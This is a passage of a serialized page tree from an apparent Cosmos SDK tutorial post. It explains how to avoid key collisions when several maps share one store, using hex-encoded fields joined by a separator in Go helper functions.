code",{"type":19,"tag":168,"props":83137,"children":83138},{"style":212},[83139],{"type":24,"value":500},{"type":19,"tag":168,"props":83141,"children":83142},{"style":393},[83143],{"type":24,"value":83044},{"type":19,"tag":168,"props":83145,"children":83146},{"style":212},[83147],{"type":24,"value":471},{"type":19,"tag":168,"props":83149,"children":83150},{"style":393},[83151],{"type":24,"value":82960},{"type":19,"tag":168,"props":83153,"children":83154},{"style":212},[83155],{"type":24,"value":557},{"type":19,"tag":168,"props":83157,"children":83158},{"class":170,"line":755},[83159],{"type":19,"tag":168,"props":83160,"children":83161},{"emptyLinePlaceholder":14},[83162],{"type":24,"value":1093},{"type":19,"tag":168,"props":83164,"children":83165},{"class":170,"line":1008},[83166,83171,83175,83179],{"type":19,"tag":168,"props":83167,"children":83168},{"style":393},[83169],{"type":24,"value":83170},"positionNameEncoded",{"type":19,"tag":168,"props":83172,"children":83173},{"style":399},[83174],{"type":24,"value":73905},{"type":19,"tag":168,"props":83176,"children":83177},{"style":175},[83178],{"type":24,"value":83053},{"type":19,"tag":168,"props":83180,"children":83181},{"style":212},[83182],{"type":24,"value":870},{"type":19,"tag":168,"props":83184,"children":83185},{"class":170,"line":1025},[83186,83190,83194],{"type":19,"tag":168,"props":83187,"children":83188},{"style":212},[83189],{"type":24,"value":83065},{"type":19,"tag":168,"props":83191,"children":83192},{"style":825},[83193],{"type":24,"value":82254},{"type":19,"tag":168,"props":83195,"children":83196},{"style":212},[83197],{"type":24,"value":915},{"type":19,"tag":168,"props":83199,"children":83200},{"class":170,"line":1042},[83201,83205,83209,83213,83217,83221,83225,83230],{"type":19,"tag":168,"props":83202,"children":83203},{"style":393},[83204],{"type":24,"value":83081},{"type":19,"tag":168,"props":83206,"children":83207},{"style":212},[83208],{"type":24,"value":948},{"type":19,"tag":168,"props":83210,"children":83211},{"style":175},[83212],{"type":24,"value":83090},{"type":19,"tag":168,"props":83214,"children":83215},{"style":212},[83216],{"type":24,"value":500},{"type":19,"tag":168,"props":83218,"children":83219},{"style":175},[83220],{"type":24,"value":6579},{"type":19,"tag":168,"props":83222,"children":83223},{"style":212},[83224],{"type":24,"value":500},{"type":19,"tag":168,"props":83226,"children":83227},{"style":393},[83228],{"type":24,"value":83229},"positionName",{"type":19,"tag":168,"props":83231,"children":83232},{"style":212},[83233],{"type":24,"value":83111},{"type":19,"tag":168,"props":83235,"children":83236},{"class":170,"line":1055},[83237],{"type":19,"tag":168,"props":83238,"children":83239},{"style":212},[83240],{"type":24,"value":557},{"type":19,"tag":168,"props":83242,"children":83243},{"class":170,"line":1064},[83244,83248,83252,83256,83260,83264,83268,83272],{"type":19,"tag":168,"props":83245,"children":83246},{"style":393},[83247],{"type":24,"value":83126},{"type":19,"tag":168,"props":83249,"children":83250},{"style":212},[83251],{"type":24,"value":948},{"type":19,"tag":168,"props":83253,"children":83254},{"style":175},[83255],{"type":24,"value":83135},{"type":19,"tag":168,"props":83257,"children":83258},{"style":212},[83259],{"type":24,"value":500},{"type":19,"tag":168,"props":83261,"children":83262},{"style":393},[83263],{"type":24,"value":83170},{"type":19,"tag":168,"props":83265,"children":83266},{"style":212},[83267],{"type":24,"value":471},{"type":19,"tag":168,"props":83269,"children":83270},{"style":393},[83271],{"type":24,"value":83229},{"type":19,"tag":168,"props":83273,"children":83274},{"style":212},[83275],{"type":24,"value":557},{"type":19,"tag":168,"props":83277,"children":83278},{"class":170,"line":1087},[83279],{"type":19,"tag":168,"props":83280,"children":83281},{"emptyLinePlaceholder":14},[83282],{"type":24,"value":1093},{"type":19,"tag":168,"props":83284,"children":83285},{"class":170,"line":1096},[83286,83290,83294,83298,83302,83306],{"type":19,"tag":168,"props":83287,"children":83288},{"style":393},[83289],{"type":24,"value":82695},{"type":19,"tag":168,"props":83291,"children":83292},{"style":399},[83293],{"type":24,"value":73905},{"type":19,"tag":168,"props":83295,"children":83296},{"style":393},[83297],{"type":24,"value":79723},{"type":19,"tag":168,"props":83299,"children":83300},{"style":212},[83301],{"type":24,"value":948},{"type":19,"tag":168,"props":83303,"children":83304},{"style":175},[83305],{"type":24,"value":82712},{"type":19,"tag":168,"props":83307,"children":83308},{"style":212},[83309],{"type":24,"value":870},{"type":19,"tag":168,"props":83311,"children":83312},{"class":170,"line":1105},[83313,83317],{"type":19,"tag":168,"props":83314,"children":83315},{"style":181},[83316],{"type":24,"value":82878},{"type":19,"tag":168,"props":83318,"children":83319},{"style":212},[83320],{"type":24,"value":915},{"type":19,"tag":168,"props":83322,"children":83323},{"class":170,"line":1174},[83324,83328],{"type":19,"tag":168,"props":83325,"children":83326},{"style":393},[83327],{"type":24,"value":82736},{"type":19,"tag":168,"props":83329,"children":83330},{"style":212},[83331],{"type":24,"value":915},{"type":19,"tag":168,"props":83333,"children":83334},{"class":170,"line":1182},[83335,83339],{"type":19,"tag":168,"props":83336,"children":83337},{"style":393},[83338],{"type":24,"value":82820},{"type":19,"tag":168,"props":83340,"children":83341},{"style":212},[83342],{"type":24,"value":915},{"type":19,"tag":168,"props":83344,"children":83345},{"class":170,"line":1212},[83346,83351],{"type":19,"tag":168,"props":83347,"children":83348},{"style":393},[83349],{"type":24,"value":83350}," usernameEncoded",{"type":19,"tag":168,"props":83352,"children":83353},{"style":212},[83354],{"type":24,"value":915},{"type":19,"tag":168,"props":83356,"children":83357},{"class":170,"line":1220},[83358,83362],{"type":19,"tag":168,"props":83359,"children":83360},{"style":393},[83361],{"type":24,"value":82820},{"type":19,"tag":168,"props":83363,"children":83364},{"style":212},[83365],{"type":24,"value":915},{"type":19,"tag":168,"props":83367,"children":83368},{"class":170,"line":1252},[83369],{"type":19,"tag":168,"props":83370,"children":83371},{"style":393},[83372],{"type":24,"value":83373}," positionNameEncoded\n",{"type":19,"tag":168,"props":83375,"children":83376},{"class":170,"line":1260},[83377],{"type":19,"tag":168,"props":83378,"children":83379},{"style":212},[83380],{"type":24,"value":557},{"type":19,"tag":20,"props":83382,"children":83383},{},[83384,83386,83391],{"type":24,"value":83385},"We did it. We finally eliminated all potential ",{"type":19,"tag":27,"props":83387,"children":83389},{"className":83388},[],[83390],{"type":24,"value":82695},{"type":24,"value":83392}," collisions.",{"type":19,"tag":20,"props":83394,"children":83395},{},[83396],{"type":24,"value":83397},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":19,"tag":20,"props":83399,"children":83400},{},[83401,83403,83409,83411,83416,83418,83423,83425,83430,83432,83438],{"type":24,"value":83402},"In the Cosmos framework, it is common for each ",{"type":19,"tag":27,"props":83404,"children":83406},{"className":83405},[],[83407],{"type":24,"value":83408},"Module",{"type":24,"value":83410}," to own a few ",{"type":19,"tag":27,"props":83412,"children":83414},{"className":83413},[],[83415],{"type":24,"value":82466},{"type":24,"value":83417}," and have individual ",{"type":19,"tag":27,"props":83419,"children":83421},{"className":83420},[],[83422],{"type":24,"value":77434},{"type":24,"value":83424},"s managing access to storages. It's also important to note that each ",{"type":19,"tag":27,"props":83426,"children":83428},{"className":83427},[],[83429],{"type":24,"value":82466},{"type":24,"value":83431}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":19,"tag":27,"props":83433,"children":83435},{"className":83434},[],[83436],{"type":24,"value":83437},"Modules",{"type":24,"value":948},{"type":19,"tag":20,"props":83440,"children":83441},{},[83442,83444,83449],{"type":24,"value":83443},"With that being said, what if we have to maintain more than one structure within the same ",{"type":19,"tag":27,"props":83445,"children":83447},{"className":83446},[],[83448],{"type":24,"value":82466},{"type":24,"value":552},{"type":19,"tag":20,"props":83451,"children":83452},{},[83453,83455,83461,83463,83468],{"type":24,"value":83454},"To demonstrate this scenario, we introduce the ",{"type":19,"tag":27,"props":83456,"children":83458},{"className":83457},[],[83459],{"type":24,"value":83460},"NameToAddressMap",{"type":24,"value":83462}," structure, which will be stored in the same ",{"type":19,"tag":27,"props":83464,"children":83466},{"className":83465},[],[83467],{"type":24,"value":82466},{"type":24,"value":83469}," we previously used.",{"type":19,"tag":158,"props":83471,"children":83473},{"code":83472,"language":73653,"meta":7,"className":73654,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[83474],{"type":19,"tag":27,"props":83475,"children":83476},{"__ignoreMap":7},[83477,83492,83507,83514,83529,83548,83563,83570,83585,83640,83647,83663,83683,83698,83705,83721],{"type":19,"tag":168,"props":83478,"children":83479},{"class":170,"line":171},[83480,83484,83488],{"type":19,"tag":168,"props":83481,"children":83482},{"style":382},[83483],{"type":24,"value":30229},{"type":19,"tag":168,"props":83485,"children":83486},{"style":825},[83487],{"type":24,"value":82512},{"type":19,"tag":168,"props":83489,"children":83490},{"style":825},[83491],{"type":24,"value":73691},{"type":19,"tag":168,"props":83493,"children":83494},{"class":170,"line":198},[83495,83499,83503],{"type":19,"tag":168,"props":83496,"children":83497},{"style":382},[83498],{"type":24,"value":30229},{"type":19,"tag":168,"props":83500,"children":83501},{"style":825},[83502],{"type":24,"value":82528},{"type":19,"tag":168,"props":83504,"children":83505},{"style":825},[83506],{"type":24,"value":82533},{"type":19,"tag":168,"props":83508,"children":83509},{"class":170,"line":415},[83510],{"type":19,"tag":168,"props":83511,"children":83512},{"emptyLinePlaceholder":14},[83513],{"type":24,"value":1093},{"type":19,"tag":168,"props":83515,"children":83516},{"class":170,"line":450},[83517,83521,83525],{"type":19,"tag":168,"props":83518,"children":83519},{"style":382},[83520],{"type":24,"value":30229},{"type":19,"tag":168,"props":83522,"children":83523},{"style":825},[83524],{"type":24,"value":82545},{"type":19,"tag":168,"props":83526,"children":83527},{"style":825},[83528],{"type":24,"value":82533},{"type":19,"tag":168,"props":83530,"children":83531},{"class":170,"line":560},[83532,83536,83540,83544],{"type":19,"tag":168,"props":83533,"children":83534},{"style":382},[83535],{"type":24,"value":30229},{"type":19,"tag":168,"props":83537,"children":83538},{"style":825},[83539],{"type":24,"value":4861},{"type":19,"tag":168,"props":83541,"children":83542},{"style":382},[83543],{"type":24,"value":18606},{"type":19,"tag":168,"props":83545,"children":83546},{"style":212},[83547],{"type":24,"value":691},{"type":19,"tag":168,"props":83549,"children":83550},{"class":170,"line":666},[83551,83555,83559],{"type":19,"tag":168,"props":83552,"children":83553},{"style":393},[83554],{"type":24,"value":40709},{"type":19,"tag":168,"props":83556,"children":83557},{"style":212},[83558],{"type":24,"value":73716},{"type":19,"tag":168,"props":83560,"children":83561},{"style":825},[83562],{"type":24,"value":81717},{"type":19,"tag":168,"props":83564,"children":83565},{"class":170,"line":694},[83566],{"type":19,"tag":168,"props":83567,"children":83568},{"style":212},[83569],{"type":24,"value":1326},{"type":19,"tag":168,"props":83571,"children":83572},{"class":170,"line":707},[83573,83577,83581],{"type":19,"tag":168,"props":83574,"children":83575},{"style":382},[83576],{"type":24,"value":30229},{"type":19,"tag":168,"props":83578,"children":83579},{"style":825},[83580],{"type":24,"value":82602},{"type":19,"tag":168,"props":83582,"children":83583},{"style":399},[83584],{"type":24,"value":82607},{"type":19,"tag":168,"props":83586,"children":83587},{"class":170,"line":725},[83588,83592,83596,83600,83604,83608,83612,83616,83620,83624,83628,83632,83636],{"type":19,"tag":168,"props":83589,"children":83590},{"style":382},[83591],{"type":24,"value":82615},{"type":19,"tag":168,"props":83593,"children":83594},{"style":212},[83595],{"type":24,"value":1152},{"type":19,"tag":168,"props":83597,"children":83598},{"style":825},[83599],{"type":24,"value":82624},{"type":19,"tag":168,"props":83601,"children":83602},{"style":212},[83603],{"type":24,"value":12858},{"type":19,"tag":168,"props":83605,"children":83606},{"style":382},[83607],{"type":24,"value":64588},{"type":19,"tag":168,"props":83609,"children":83610},{"style":212},[83611],{"type":24,"value":1152},{"type":19,"tag":168,"props":83613,"children":83614},{"style":825},[83615],{"type":24,"value":82641},{"type":19,"tag":168,"props":83617,"children":83618},{"style":212},[83619],{"type":24,"value":12858},{"type":19,"tag":168,"props":83621,"children":83622},{"style":382},[83623],{"type":24,"value":64588},{"type":19,"tag":168,"props":83625,"children":83626},{"style":212},[83627],{"type":24,"value":1152},{"type":19,"tag":168,"props":83629,"children":83630},{"style":825},[83631],{"type":24,"value":82658},{"type":19,"tag":168,"props":83633,"children":83634},{"style":212},[83635],{"type":24,"value":12858},{"type":19,"tag":168,"props":83637,"children":83638},{"style":825},[83639],{"type":24,"value":82667},{"type":19,"tag":168,"props":83641,"children":83642},{"class":170,"line":746},[83643],{"type":19,"tag":168,"props":83644,"children":83645},{"emptyLinePlaceholder":14},[83646],{"type":24,"value":1093},{"type":19,"tag":168,"props":83648,"children":83649},{"class":170,"line":755},[83650,83654,83659],{"type":19,"tag":168,"props":83651,"children":83652},{"style":382},[83653],{"type":24,"value":30229},{"type":19,"tag":168,"props":83655,"children":83656},{"style":825},[83657],{"type":24,"value":83658}," AddressName",{"type":19,"tag":168,"props":83660,"children":83661},{"style":825},[83662],{"type":24,"value":82533},{"type":19,"tag":168,"props":83664,"children":83665},{"class":170,"line":1008},[83666,83670,83675,83679],{"type":19,"tag":168,"props":83667,"children":83668},{"style":382},[83669],{"type":24,"value":30229},{"type":19,"tag":168,"props":83671,"children":83672},{"style":825},[83673],{"type":24,"value":83674}," Address",{"type":19,"tag":168,"props":83676,"children":83677},{"style":382},[83678],{"type":24,"value":18606},{"type":19,"tag":168,"props":83680,"children":83681},{"style":212},[83682],{"type":24,"value":691},{"type":19,"tag":168,"props":83684,"children":83685},{"class":170,"line":1025},[83686,83690,83694],{"type":19,"tag":168,"props":83687,"children":83688},{"style":393},[83689],{"type":24,"value":12551},{"type":19,"tag":168,"props":83691,"children":83692},{"style":212},[83693],{"type":24,"value":73716},{"type":19,"tag":168,"props":83695,"children":83696},{"style":825},[83697],{"type":24,"value":81717},{"type":19,"tag":168,"props":83699,"children":83700},{"class":170,"line":1042},[83701],{"type":19,"tag":168,"props":83702,"children":83703},{"style":212},[83704],{"type":24,"value":1326},{"type":19,"tag":168,"props":83706,"children":83707},{"class":170,"line":1055},[83708,83712,83717],{"type":19,"tag":168,"props":83709,"children":83710},{"style":382},[83711],{"type":24,"value":30229},{"type":19,"tag":168,"props":83713,"children":83714},{"style":825},[83715],{"type":24,"value":83716}," AddressMap",{"type":19,"tag":168,"props":83718,"children":83719},{"style":399},[83720],{"type":24,"value":82607},{"type":19,"tag":168,"props":83722,"children":83723},{"class":170,"line":1064},[83724,83728,83732,83736,83740,83744,83748,83752,83756,83760,83764,83769,83773],{"type":19,"tag":168,"props":83725,"children":83726},{"style":382},[83727],{"type":24,"value":82615},{"type":19,"tag":168,"props":83729,"children":83730},{"style":212},[83731],{"type":24,"value":1152},{"type":19,"tag":168,"props":83733,"children":83734},{"style":825},[83735],{"type":24,"value":82624},{"type":19,"tag":168,"props":83737,"children":83738},{"style":212},[83739],{"type":24,"value":12858},{"type":19,"tag":168,"props":83741,"children":83742},{"style":382},[83743],{"type":24,"value":64588},{"type":19,"tag":168,"props":83745,"children":83746},{"style":212},[83747],{"type":24,"value":1152},{"type":19,"tag":168,"props":83749,"children":83750},{"style":825},[83751],{"type":24,"value":82641},{"type":19,"tag":168,"props":83753,"children":83754},{"style":212},[83755],{"type":24,"value":12858},{"type":19,"tag":168,"props":83757,"children":83758},{"style":382},[83759],{"type":24,"value":64588},{"type":19,"tag":168,"props":83761,"children":83762},{"style":212},[83763],{"type":24,"value":1152},{"type":19,"tag":168,"props":83765,"children":83766},{"style":825},[83767],{"type":24,"value":83768},"AddressName",{"type":19,"tag":168,"props":83770,"children":83771},{"style":212},[83772],{"type":24,"value":12858},{"type":19,"tag":168,"props":83774,"children":83775},{"style":825},[83776],{"type":24,"value":83777},"Address\n",{"type":19,"tag":20,"props":83779,"children":83780},{},[83781],{"type":24,"value":83782},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":19,"tag":158,"props":83784,"children":83786},{"code":83785,"language":73653,"meta":7,"className":73654,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[83787],{"type":19,"tag":27,"props":83788,"children":83789},{"__ignoreMap":7},[83790,83801,83816,83823,83830,83837,83853,83868,83895,83918,83937,83953,83989,83996,84031,84038,84058,84073,84108,84115,84150,84157,84185,84197,84209,84221,84233,84244,84256,84263,84270,84277,84284,84300,84315,84339,84362,84381,84396,84431,84438,84473,84480,84500,84515,84550,84557,84593,84600,84627,84638,84649,84660,84671,84682,84694,84701],{"type":19,"tag":168,"props":83791,"children":83792},{"class":170,"line":171},[83793,83797],{"type":19,"tag":168,"props":83794,"children":83795},{"style":382},[83796],{"type":24,"value":7097},{"type":19,"tag":168,"props":83798,"children":83799},{"style":212},[83800],{"type":24,"value":76055},{"type":19,"tag":168,"props":83802,"children":83803},{"class":170,"line":198},[83804,83808,83812],{"type":19,"tag":168,"props":83805,"children":83806},{"style":393},[83807],{"type":24,"value":82820},{"type":19,"tag":168,"props":83809,"children":83810},{"style":399},[83811],{"type":24,"value":402},{"type":19,"tag":168,"props":83813,"children":83814},{"style":181},[83815],{"type":24,"value":82829},{"type":19,"tag":168,"props":83817,"children":83818},{"class":170,"line":415},[83819],{"type":19,"tag":168,"props":83820,"children":83821},{"style":212},[83822],{"type":24,"value":557},{"type":19,"tag":168,"props":83824,"children":83825},{"class":170,"line":450},[83826],{"type":19,"tag":168,"props":83827,"children":83828},{"emptyLinePlaceholder":14},[83829],{"type":24,"value":1093},{"type":19,"tag":168,"props":83831,"children":83832},{"class":170,"line":560},[83833],{"type":19,"tag":168,"props":83834,"children":83835},{"emptyLinePlaceholder":14},[83836],{"type":24,"value":1093},{"type":19,"tag":168,"props":83838,"children":83839},{"class":170,"line":666},[83840,83844,83849],{"type":19,"tag":168,"props":83841,"children":83842},{"style":382},[83843],{"type":24,"value":73789},{"type":19,"tag":168,"props":83845,"children":83846},{"style":175},[83847],{"type":24,"value":83848}," PositionMapKey",{"type":19,"tag":168,"props":83850,"children":83851},{"style":212},[83852],{"type":24,"value":870},{"type":19,"tag":168,"props":83854,"children":83855},{"class":170,"line":694},[83856,83860,83864],{"type":19,"tag":168,"props":83857,"children":83858},{"style":393},[83859],{"type":24,"value":82736},{"type":19,"tag":168,"props":83861,"children":83862},{"style":825},[83863],{"type":24,"value":73910},{"type":19,"tag":168,"props":83865,"children":83866},{"style":212},[83867],{"type":24,"value":915},{"type":19,"tag":168,"props":83869,"children":83870},{"class":170,"line":707},[83871,83875,83879,83883,83887,83891],{"type":19,"tag":168,"props":83872,"children":83873},{"style":393},[83874],{"type":24,"value":82748},{"type":19,"tag":168,"props":83876,"children":83877},{"style":212},[83878],{"type":24,"value":471},{"type":19,"tag":168,"props":83880,"children":83881},{"style":393},[83882],{"type":24,"value":83229},{"type":19,"tag":168,"props":83884,"children":83885},{"style":212},[83886],{"type":24,"value":73716},{"type":19,"tag":168,"props":83888,"children":83889},{"style":825},[83890],{"type":24,"value":82254},{"type":19,"tag":168,"props":83892,"children":83893},{"style":212},[83894],{"type":24,"value":915},{"type":19,"tag":168,"props":83896,"children":83897},{"class":170,"line":725},[83898,83902,83906,83910,83914],{"type":19,"tag":168,"props":83899,"children":83900},{"style":212},[83901],{"type":24,"value":73871},{"type":19,"tag":168,"props":83903,"children":83904},{"style":393},[83905],{"type":24,"value":69643},{"type":19,"tag":168,"props":83907,"children":83908},{"style":212},[83909],{"type":24,"value":73716},{"type":19,"tag":168,"props":83911,"children":83912},{"style":825},[83913],{"type":24,"value":82254},{"type":19,"tag":168,"props":83915,"children":83916},{"style":212},[83917],{"type":24,"value":12250},{"type":19,"tag":168,"props":83919,"children":83920},{"class":170,"line":746},[83921,83925,83929,83933],{"type":19,"tag":168,"props":83922,"children":83923},{"style":393},[83924],{"type":24,"value":83350},{"type":19,"tag":168,"props":83926,"children":83927},{"style":399},[83928],{"type":24,"value":73905},{"type":19,"tag":168,"props":83930,"children":83931},{"style":175},[83932],{"type":24,"value":83053},{"type":19,"tag":168,"props":83934,"children":83935},{"style":212},[83936],{"type":24,"value":870},{"type":19,"tag":168,"props":83938,"children":83939},{"class":170,"line":755},[83940,83945,83949],{"type":19,"tag":168,"props":83941,"children":83942},{"style":212},[83943],{"type":24,"value":83944}," []",{"type":19,"tag":168,"props":83946,"children":83947},{"style":825},[83948],{"type":24,"value":82254},{"type":19,"tag":168,"props":83950,"children":83951},{"style":212},[83952],{"type":24,"value":915},{"type":19,"tag":168,"props":83954,"children":83955},{"class":170,"line":1008},[83956,83961,83965,83969,83973,83977,83981,83985],{"type":19,"tag":168,"props":83957,"children":83958},{"style":393},[83959],{"type":24,"value":83960}," hex",{"type":19,"tag":168,"props":83962,"children":83963},{"style":212},[83964],{"type":24,"value":948},{"type":19,"tag":168,"props":83966,"children":83967},{"style":175},[83968],{"type":24,"value":83090},{"type":19,"tag":168,"props":83970,"children":83971},{"style":212},[83972],{"type":24,"value":500},{"type":19,"tag":168,"props":83974,"children":83975},{"style":175},[83976],{"type":24,"value":6579},{"type":19,"tag":168,"props":83978,"children":83979},{"style":212},[83980],{"type":24,"value":500},{"type":19,"tag":168,"props":83982,"children":83983},{"style":393},[83984],{"type":24,"value":82960},{"type":19,"tag":168,"props":83986,"children":83987},{"style":212},[83988],{"type":24,"value":83111},{"type":19,"tag":168,"props":83990,"children":83991},{"class":170,"line":1025},[83992],{"type":19,"tag":168,"props":83993,"children":83994},{"style":212},[83995],{"type":24,"value":21386},{"type":19,"tag":168,"props":83997,"children":83998},{"class":170,"line":1042},[83999,84003,84007,84011,84015,84019,84023,84027],{"type":19,"tag":168,"props":84000,"children":84001},{"style":393},[84002],{"type":24,"value":83081},{"type":19,"tag":168,"props":84004,"children":84005},{"style":212},[84006],{"type":24,"value":948},{"type":19,"tag":168,"props":84008,"children":84009},{"style":175},[84010],{"type":24,"value":83135},{"type":19,"tag":168,"props":84012,"children":84013},{"style":212},[84014],{"type":24,"value":500},{"type":19,"tag":168,"props":84016,"children":84017},{"style":393},[84018],{"type":24,"value":83044},{"type":19,"tag":168,"props":84020,"children":84021},{"style":212},[84022],{"type":24,"value":471},{"type":19,"tag":168,"props":84024,"children":84025},{"style":393},[84026],{"type":24,"value":82960},{"type":19,"tag":168,"props":84028,"children":84029},{"style":212},[84030],{"type":24,"value":557},{"type":19,"tag":168,"props":84032,"children":84033},{"class":170,"line":1055},[84034],{"type":19,"tag":168,"props":84035,"children":84036},{"emptyLinePlaceholder":14},[84037],{"type":24,"value":1093},{"type":19,"tag":168,"props":84039,"children":84040},{"class":170,"line":1064},[84041,84046,84050,84054],{"type":19,"tag":168,"props":84042,"children":84043},{"style":393},[84044],{"type":24,"value":84045}," positionNameEncoded",{"type":19,"tag":168,"props":84047,"children":84048},{"style":399},[84049],{"type":24,"value":73905},{"type":19,"tag":168,"props":84051,"children":84052},{"style":175},[84053],{"type":24,"value":83053},{"type":19,"tag":168,"props":84055,"children":84056},{"style":212},[84057],{"type":24,"value":870},{"type":19,"tag":168,"props":84059,"children":84060},{"class":170,"line":1087},[84061,84065,84069],{"type":19,"tag":168,"props":84062,"children":84063},{"style":212},[84064],{"type":24,"value":83944},{"type":19,"tag":168,"props":84066,"children":84067},{"style":825},[84068],{"type":24,"value":82254},{"type":19,"tag":168,"props":84070,"children":84071},{"style":212},[84072],{"type":24,"value":915},{"type":19,"tag":168,"props":84074,"children":84075},{"class":170,"line":1096},[84076,84080,84084,84088,84092,84096,84100,84104],{"type":19,"tag":168,"props":84077,"children":84078},{"style":393},[84079],{"type":24,"value":83960},{"type":19,"tag":168,"props":84081,"children":84082},{"style":212},[84083],{"type":24,"value":948},{"type":19,"tag":168,"props":84085,"children":84086},{"style":175},[84087],{"type":24,"value":83090},{"type":19,"tag":168,"props":84089,"children":84090},{"style":212},[84091],{"type":24,"value":500},{"type":19,"tag":168,"props":84093,"children":84094},{"style":175},[84095],{"type":24,"value":6579},{"type":19,"tag":168,"props":84097,"children":84098},{"style":212},[84099],{"type":24,"value":500},{"type":19,"tag":168,"props":84101,"children":84102},{"style":393},[84103],{"type":24,"value":83229},{"type":19,"tag":168,"props":84105,"children":84106},{"style":212},[84107],{"type":24,"value":83111},{"type":19,"tag":168,"props":84109,"children":84110},{"class":170,"line":1105},[84111],{"type":19,"tag":168,"props":84112,"children":84113},{"style":212},[84114],{"type":24,"value":21386},{"type":19,"tag":168,"props":84116,"children":84117},{"class":170,"line":1174},[84118,84122,84126,84130,84134,84138,84142,84146],{"type":19,"tag":168,"props":84119,"children":84120},{"style":393},[84121],{"type":24,"value":83081},{"type":19,"tag":168,"props":84123,"children":84124},{"style":212},[84125],{"type":24,"value":948},{"type":19,"tag":168,"props":84127,"children":84128},{"style":175},[84129],{"type":24,"value":83135},{"type":19,"tag":168,"props":84131,"children":84132},{"style":212},[84133],{"type":24,"value":500},{"type":19,"tag":168,"props":84135,"children":84136},{"style":393},[84137],{"type":24,"value":83170},{"type":19,"tag":168,"props":84139,"children":84140},{"style":212},[84141],{"type":24,"value":471},{"type":19,"tag":168,"props":84143,"children":84144},{"style":393},[84145],{"type":24,"value":83229},{"type":19,"tag":168,"props":84147,"children":84148},{"style":212},[84149],{"type":24,"value":557},{"type":19,"tag":168,"props":84151,"children":84152},{"class":170,"line":1182},[84153],{"type":19,"tag":168,"props":84154,"children":84155},{"emptyLinePlaceholder":14},[84156],{"type":24,"value":1093},{"type":19,"tag":168,"props":84158,"children":84159},{"class":170,"line":1212},[84160,84165,84169,84173,84177,84181],{"type":19,"tag":168,"props":84161,"children":84162},{"style":393},[84163],{"type":24,"value":84164}," key",{"type":19,"tag":168,"props":84166,"children":84167},{"style":399},[84168],{"type":24,"value":73905},{"type":19,"tag":168,"props":84170,"children":84171},{"style":393},[84172],{"type":24,"value":79723},{"type":19,"tag":168,"props":84174,"children":84175},{"style":212},[84176],{"type":24,"value":948},{"type":19,"tag":168,"props":84178,"children":84179},{"style":175},[84180],{"type":24,"value":82712},{"type":19,"tag":168,"props":84182,"children":84183},{"style":212},[84184],{"type":24,"value":870},{"type":19,"tag":168,"props":84186,"children":84187},{"class":170,"line":1220},[84188,84193],{"type":19,"tag":168,"props":84189,"children":84190},{"style":181},[84191],{"type":24,"value":84192}," \"%d%s%s%s%s\"",{"type":19,"tag":168,"props":84194,"children":84195},{"style":212},[84196],{"type":24,"value":915},{"type":19,"tag":168,"props":84198,"children":84199},{"class":170,"line":1252},[84200,84205],{"type":19,"tag":168,"props":84201,"children":84202},{"style":393},[84203],{"type":24,"value":84204}," vaultId",{"type":19,"tag":168,"props":84206,"children":84207},{"style":212},[84208],{"type":24,"value":915},{"type":19,"tag":168,"props":84210,"children":84211},{"class":170,"line":1260},[84212,84217],{"type":19,"tag":168,"props":84213,"children":84214},{"style":393},[84215],{"type":24,"value":84216}," Seperator",{"type":19,"tag":168,"props":84218,"children":84219},{"style":212},[84220],{"type":24,"value":915},{"type":19,"tag":168,"props":84222,"children":84223},{"class":170,"line":1320},[84224,84229],{"type":19,"tag":168,"props":84225,"children":84226},{"style":393},[84227],{"type":24,"value":84228}," usernameEncoded",{"type":19,"tag":168,"props":84230,"children":84231},{"style":212},[84232],{"type":24,"value":915},{"type":19,"tag":168,"props":84234,"children":84235},{"class":170,"line":6486},[84236,84240],{"type":19,"tag":168,"props":84237,"children":84238},{"style":393},[84239],{"type":24,"value":84216},{"type":19,"tag":168,"props":84241,"children":84242},{"style":212},[84243],{"type":24,"value":915},{"type":19,"tag":168,"props":84245,"children":84246},{"class":170,"line":6504},[84247,84252],{"type":19,"tag":168,"props":84248,"children":84249},{"style":393},[84250],{"type":24,"value":84251}," positionNameEncoded",{"type":19,"tag":168,"props":84253,"children":84254},{"style":212},[84255],{"type":24,"value":915},{"type":19,"tag":168,"props":84257,"children":84258},{"class":170,"line":6549},[84259],{"type":19,"tag":168,"props":84260,"children":84261},{"style":212},[84262],{"type":24,"value":21386},{"type":19,"tag":168,"props":84264,"children":84265},{"class":170,"line":6655},[84266],{"type":19,"tag":168,"props":84267,"children":84268},{"style":212},[84269],{"type":24,"value":1326},{"type":19,"tag":168,"props":84271,"children":84272},{"class":170,"line":20965},[84273],{"type":19,"tag":168,"props":84274,"children":84275},{"emptyLinePlaceholder":14},[84276],{"type":24,"value":1093},{"type":19,"tag":168,"props":84278,"children":84279},{"class":170,"line":21000},[84280],{"type":19,"tag":168,"props":84281,"children":84282},{"emptyLinePlaceholder":14},[84283],{"type":24,"value":1093},{"type":19,"tag":168,"props":84285,"children":84286},{"class":170,"line":21008},[84287,84291,84296],{"type":19,"tag":168,"props":84288,"children":84289},{"style":382},[84290],{"type":24,"value":73